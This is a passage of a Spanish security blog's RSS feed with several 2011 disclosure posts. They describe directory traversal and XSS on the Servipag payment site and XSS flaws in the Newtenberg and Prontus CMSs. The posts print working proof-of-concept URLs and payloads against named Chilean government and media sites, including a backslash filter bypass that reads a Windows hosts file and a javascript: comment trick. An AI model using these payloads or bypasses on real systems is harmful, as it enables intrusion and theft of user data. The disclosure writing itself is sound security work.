		<guid isPermaLink="false">http://blog.zerial.org/?p=2519</guid>
		<description><![CDATA[La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error. Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien [...]]]></description>
			<content:encoded><![CDATA[<p>La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.</p>
<p>En la sección &#8220;<a href="http://www.servipag.com/browse.asp?pagina=web/quienes_somos.htm">Quienes somos</a>&#8221; podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png"><img class="aligncenter size-full wp-image-2523" title="servip2" src="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png" alt="" width="453" height="70" /></a></p>
<p>Como es de costumbre de todas estas empresas, todas tienen un &#8220;alto estandar de seguridad&#8221; y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una <strong>mentira</strong>.</p>
<p>Según ellos:</p>
<blockquote><p>Seguridad<br />
Contamos con las herramientas de más <strong>alto nivel en seguridad</strong> y eficiencia que la tecnología virtual ofrece en el mercado actualmente.</p></blockquote>
<p>Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).<br />
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta <a href="http://twitter.com/ServipagOnLine">@ServipagOnLine</a> comenzó a seguirme y me dijo &#8220;<em>Nuestro jefe de proyectos se contactara contigo</em>&#8220;, 7 días despues lo único que he recibido es un correo que dice:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/email.png"><img class="aligncenter size-full wp-image-2528" title="email" src="http://blog.zerial.org/wp-content/uploads/2011/07/email.png" alt="" width="360" height="180" /></a></p>
<p>Le respondí cómo podía contactarme y eso fue el fin de la conversación.</p>
<p><span id="more-2519"></span></p>
<h2>Las vulnerabilidades</h2>
<h3>Local File Include &#038; Directory Traversal</h3>
<p>Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo &#8220;browse.asp&#8221;, al pasarle mediante la variable &#8220;pagina&#8221; el archivo que deseamos ver, por ejemplo &#8220;../../../../../../../../../../../boot.ini&#8221;.</p>
<p>Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los &#8220;slash&#8221; normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png" alt="" title="errormsg" width="501" height="266" class="aligncenter size-full wp-image-2529" /></a></p>
<p>Pero gracias a la contribución de <a href="http://twitter.com/1error500">@1error500</a>, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los &#8220;slash&#8221; por &#8220;backslash&#8221; (\), podemos explotar nuevamente la vulnerabilidad.</p>
<p>Por ejemplo: <a href="http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107">http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107</a></p>
<p><code>#<br />
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br />
#<br />
# This file contains the mappings of IP addresses to host names. Each<br />
# entry should be kept on an individual line. The IP address should<br />
# be placed in the first column followed by the corresponding host name.<br />
# The IP address and the host name should be separated by at least one<br />
# space.<br />
#<br />
# Additionally, comments (such as these) may be inserted on individual<br />
# lines or following the machine name denoted by a '#' symbol.<br />
#<br />
# For example:<br />
#<br />
#   102.54.94.97   rhino.acme.com     # source server<br />
#    38.25.63.10   x.acme.com       # x client host</p>
<p>127.0.0.1    localhost<br />
192.168.2.8www.servipag.com</code></p>
<p>Una verguenza de seguridad.</p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable &#8220;p&#8221; y a la variable &#8220;mensaje_error&#8221; dependiendo de la &#8220;pagina&#8221; a mostrar.</p>
<p>- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&#038;bloque=Pagos%20Preguntas%20Frecuentes1&#038;p=%3Cscript%3Ealert(/XSS/)%3C/script%3E<br />
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&#038;mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E</p>
<p>Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?</p>
<p>Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"  data-text="Servipag.cl: El portal chileno de pagos online más inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting en CMS Newtenberg Engine</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:05:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[conama]]></category>
		<category><![CDATA[conicyt]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[newtenberg]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[subdere]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2442</guid>
		<description><![CDATA[Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif" alt="" title="logo newtenberg engine" width="120" height="108" class="aligncenter size-full wp-image-2443" /></a></p>
<blockquote><p>Esta plataforma de Software permite administrar contenidos y hacer  sustentables sitios Web de alta complejidad. Los documentos se almacenan  en un reservorio de conocimiento y pueden ser caracterizados según  múltiples miradas (clasificandos). Engine apoya las labores de  Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición  de Contenidos, interconectando las labores del equipo de trabajo a  través de un sistema de workflow.</p></blockquote>
<p>La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.<br />
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo &#8220;onsubmit=doSearch()&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png" alt="" title="src_form_conama" width="488" height="20" class="aligncenter size-full wp-image-2447" /></a></p>
<p>Al realizar la busqueda, la función doSearch() nos cambia el href:</p>
<pre name="code" class="c">function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } </pre>
<p>Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:</p>
</pre>
<pre name="code" class="c">var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&#038;engine=SwisheFind';
	url+= '&#038;rpp=';
	url+= '&#038;cid=815';
	url+= '&#038;stid=';
	url+= '&#038;iid=1257';
	url+= '&#038;grclass=resultado-busqueda';
	url+= '&#038;pnid=';
	url+= '&#038;pnid_df=';
	url+= '&#038;pnid_tf=';
	url+= '&#038;pnid_search=2033,1999,1849';
	url+= '&#038;limit=';
	url+= '&#038;searchon=';
	url+= '&#038;channellink=';
	url+= '&#038;articlelink=w3:article';
	url+= '&#038;pvlink=w3:propertyvalue';
	url+= '&#038;notarticlecid=';
	url+= '&#038;use_cid_owner_on_links=';
	url+= '&#038;show_ancestors=';
	url+= '&#038;show_pnid=';
	url+= '&#038;cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&#038;' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&#038;start=' + getCookie( 'search_start' );
		url+= '&#038;keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&#038;prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&#038;javascript=1';
	document.write( '<scr ' + 'ipt language="JavaScr' + 'ipt" type="text/javascr' + 'ipt" src="' + url + '"> < \/scr' + 'ipt>' );</scr></pre>
<p>Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.<br />
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.</p>
<p><span id="more-2442"></span></p>
<p>Para este ejemplo, lo que nos interesa es el valor final de la variable &#8220;url&#8221;, que en este caso es algo similar a:</p>
<p><strong>http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=&#038;cid=815&#038;stid=&#038;iid=1257&#038;grclass=resultado-busqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2033,1999,1849&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=&#038;show_pnid=&#038;cids=815&#038;keywords=prueba</strong></p>
<p>Ya nos salimos del dominio <em>conama.cl</em> y entramos a jugar al subdominio <em>ntg-engine.conama.cl</em>, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png" alt="" title="busqueda_conama" width="469" height="221" class="aligncenter size-full wp-image-2450" /></a></p>
<p>Aparece en <strong>negrita</strong> la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png" alt="" title="xss_poc_conama" width="670" height="410" class="aligncenter size-full wp-image-2451" /></a></p>
<p>Los sitios afectados son:</p>
<p><a href="http://www.newtenberg.com">Newtenberg &#8211; http://www.newtenberg.com</a><br />
<a href="http://www.sinia.cl">SINIA (Sistema Nacional de Informacion Ambiental) &#8211; http://www.sinia.cl</a><br />
<a href="http://www.mma.gob.cl">Ministerio del Medio Ambiente &#8211; http://www.mma.gob.cl</a><br />
<a href="http://www.siss.gob.cl">Superintendencia de Servicios Sanitarios &#8211; http://www.siss.gob.cl</a><br />
<a href="http://ri.conicyt.cl">Repositorio Institucional CONICYT &#8211; http://ri.conicyt.cl</a><br />
<a href="http://www.redlideres.cl">Red Lideres &#8211; http://www.redlideres.cl</a><br />
<a href="http://www.puntolex.cl">Punto Lex &#8211; http://www.puntolex.cl</a><br />
<a href="http://www.subdere.gov.cl">Subsecretaria de Desarrollo Regional y Administrativo &#8211; http://www.subdere.gov.cl</a><br />
<a href="http://www.conama.cl">CONAMA &#8211; http://www.conama.cl</a><br />
<a href="http://www.elperiodista.cl/">El Periodista &#8211; http://www.elperiodista.cl/</a><br />
<a href="http://www.colombiaaprende.edu.co">Colombia Aprende &#8211; http://www.colombiaaprende.edu.co</a></p>
<p>Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable &#8220;url&#8221;.</p>
<p><strong>PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)</strong></p>
<p>URL: <strong>http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&#038;engine=&#038;rpp=20&#038;cid=876&#038;stid=&#038;iid=1510&#038;grclass=&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=1&#038;show_pnid=1&#038;cids=876&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png" alt="" title="xss_poc_subdere" width="644" height="422" class="aligncenter size-full wp-image-2454" /></a></p>
<p><strong>PoC en el propio sitio de Newtenberg</strong></p>
<p>URL: <strong>http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=10&#038;cid=924&#038;stid=5686&#038;iid=1765&#038;grclass=resultadobusqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=&#038;pvlink=&#038;notarticlecid=0&#038;use_cid_owner_on_links=0&#038;show_ancestors=&#038;show_pnid=&#038;cids=924&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E<br />
</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png" alt="" title="xss_poc_newtenberg" width="660" height="406" class="aligncenter size-full wp-image-2459" /></a></p>
<p>El error se produce al no filtrar el contenido de la variable &#8220;<strong>keywords</strong>&#8220;.</p>
<p>No se descarta que puedan haber mas sitios afectados.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-cms-newtenberg-engine%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"  data-text="Cross-Site Scripting en CMS Newtenberg Engine" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad XSS en Prontus CMS</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 18:48:36 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[cross site scriptoing]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fonasa]]></category>
		<category><![CDATA[prontus]]></category>
		<category><![CDATA[senado]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2410</guid>
		<description><![CDATA[Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales. Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif"><img class="aligncenter size-full wp-image-2411" title="Prontus CMS Logo" src="http://blog.zerial.org/wp-content/uploads/2011/07/FOTO_1620091106181909.gif" alt="" width="200" height="72" /></a></p>
<blockquote><p>Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.</p></blockquote>
<p>Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.<br />
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.</p>
<p>Entre los sitios afectados por esta vulnerabilidad estan el <a href="http://senado.cl">sitio web del Senado de la República de Chile</a>, y <a href="http://www.fonasa.cl">Fonasa</a>, entre otros.</p>
<p>La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html &#8220;antialone.html&#8221;</p>
<p>En este archivo encontramos el siguiente codigo javascript:</p>
<pre id="line1" class="c" name="code">if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('&lt;frameset rows="122,1*" frameborder="NO" border="0" framespacing="0"&gt;');
    document.write('  &lt;frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO"&gt;');
    document.write('  &lt;frame name="cont" src="' + page + '" marginwidth="0" marginheight="0"&gt;');
    document.write('&lt;/frameset&gt;');
  };</pre>
<p>Si se fijan, en la linea 6 crea un frame con <em>src=page</em>, y en la linea 3 <em>page=page+?+Math.random()</em>. Por lo tanto, si le pasamos la variable &#8220;page&#8221; por url con el contenido &#8220;javsript:algo&#8230;&#8221; el navegador lo debería interpretar.</p>
<p><span id="more-2410"></span></p>
<p>El problema es que en la línea 3 le agrega &#8220;?numero aleatorio&#8221;, por lo que si le pasamos el valor &#8220;javascript:alert(1)&#8221; lo que cargara el frame será &#8220;javascript:alert(1)?45454554.0&#8243; lo que provocará un error de sintaxis y el navegador no hará nada.<br />
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.</p>
<p>No podemos poner directamente la url &#8220;http://www.algo.com&#8221; ya que en otro lado del javscript aparece un tipo de filtro que si encuentra &#8220;://&#8221; nos manda a la raíz del sitio:</p>
<pre id="line1" class="c" name="code"> if (page.indexOf('://') &gt;= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };</pre>
<p>Para explotar la vulnerabilidad usaré &#8220;<strong>javascript:alert(/XSS/);//</strong>&#8220;, de esta forma el valor de la variable page será &#8220;<strong>javascript:alert(/XSS/);//?45454554.0</strong>&#8221; dejando lo último como comentario.</p>
<h2>Pruebas de Concepto:</h2>
<p><strong>Sitio web del Senado</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png"><img class="aligncenter size-full wp-image-2431" title="Senado Republica Chile XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/senador_xss.png" alt="" width="622" height="376" /></a></p>
<p><strong>Sitio web del Fondo Nacional de Salud (FONASA)</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png"><img class="aligncenter size-full wp-image-2433" title="FONASA XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/fonasa_xss.png" alt="" width="583" height="337" /></a></p>
<p><strong>Universidad Catolica de Valparaiso</strong><br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png"><img class="aligncenter size-full wp-image-2434" title="UCV XSS" src="http://blog.zerial.org/wp-content/uploads/2011/07/ucv_xss.png" alt="" width="571" height="330" /></a></p>
<p><strong>Los sitios afectados son:</strong></p>
<p><a href="http://www.mercuriovalpo.cl" target="_new">http://www.mercuriovalpo.cl</a><br />
<a href="http://www.estrellaiquique.cl" target="_new">http://www.estrellaiquique.cl</a><br />
<a href="http://www.australvaldivia.cl" target="_new">http://www.australvaldivia.cl</a><br />
<a href="http://www.ucv.cl" target="_new">http://www.ucv.cl</a><br />
<a href="http://www.estrellavalpo.cl" target="_new">http://www.estrellavalpo.cl</a><br />
<a href="http://www.senador.cl" target="_new">http://www.senador.cl</a><br />
<a href="http://www.diariollanquihue.cl" target="_new">http://www.diariollanquihue.cl</a><br />
<a href="http://www.lidersanantonio.cl" target="_new">http://www.lidersanantonio.cl</a><br />
<a href="http://www.australtemuco.cl" target="_new">http://www.australtemuco.cl</a><br />
<a href="http://www.diariolaestrella.cl" target="_new">http://www.diariolaestrella.cl</a><br />
<a href="http://www.estrellaloa.cl" target="_new">http://www.estrellaloa.cl</a><br />
<a href="http://www.estrellaarica.cl" target="_new">http://www.estrellaarica.cl</a><br />
<a href="http://www.laestrellachiloe.cl" target="_new">http://www.laestrellachiloe.cl</a><br />
<a href="http://www.australlosrios.cl" target="_new">http://www.australlosrios.cl</a><br />
<a href="http://mercuriocalama.cl" target="_new">http://mercuriocalama.cl</a><br />
<a href="http://www.australosorno.cl" target="_new">http://www.australosorno.cl</a><br />
<a href="http://www.diarioatacama.cl" target="_new">http://www.diarioatacama.cl</a><br />
<a href="http://www.diarioaustral.cl" target="_new">http://www.diarioaustral.cl</a><br />
<a href="http://www.renacerdeangol.cl" target="_new">http://www.renacerdeangol.cl</a><br />
<a href="http://www.fonasa.cl" target="_new">http://www.fonasa.cl</a><br />
<a href="http://www.mercurioantofagasta.cl" target="_new">http://www.mercurioantofagasta.cl</a><br />
<a href="http://www.prensatocopilla.cl" target="_new">http://www.prensatocopilla.cl</a><br />
<a href="http://www.ellanquihue.cl" target="_new">http://www.ellanquihue.cl</a><br />
<a href="http://www.elaustral.cl" target="_new">http://www.elaustral.cl</a><br />
<a href="http://www.hernanlarrain.cl" target="_new">http://www.hernanlarrain.cl</a><br />
<a href="http://www.estrellanorte.cl" target="_new">http://www.estrellanorte.cl</a></p>
<p>No se descarta que existan más sitios afectados.</p>
<p><strong>Actualizado (12 de Julio del 2011):</strong><br />
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-xss-en-prontus-cms%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/"  data-text="Vulnerabilidad XSS en Prontus CMS" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-xss-en-prontus-cms/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 13:34:05 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[clcert]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2387</guid>
		<description><![CDATA[Según el propio sitio web: El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos. Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Según el propio sitio web:</p>
<blockquote><p>El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.</p></blockquote>
